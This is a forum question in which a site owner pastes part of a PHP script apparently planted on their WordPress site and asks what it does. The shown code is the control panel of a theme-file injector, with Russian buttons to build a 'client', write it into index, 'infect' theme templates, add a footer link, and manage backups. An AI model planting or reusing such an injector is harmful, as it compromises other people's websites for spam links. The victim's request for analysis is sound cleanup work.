foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { if (unlink($in_dir_file.'_BACKUP')) { print " <span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён. </span>"; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#f94c00; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён. </span> "; } } } } } ?> <?php $starter = new linkBilder; //start_OK $ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?> <?php echo "<b>В футер мы пишем: </b>$ssilka".'<br>';?> <?php $local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/'; $local2=$_SERVER['DOCUMENT_ROOT']; ?> <? //active folder if($_POST['find']) { $starter->find($local, '.'); } else if($_POST['wrkr']) { $starter->scankl(); } else if($_POST['create']) { $starter->scan($local, '.'); } else if($_POST['backups']) { $starter->restore_backups($local, '.'); } else if($_POST['kr']) { $starter->make_file(); } else if($_POST['delbackups']) { $starter->delete_backups($local, '.'); } echo '<form method="post">'; echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">'; echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">'; echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">'; echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">'; echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">'; echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">'; echo '</form>'; ?>To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code? Thanks in advance. |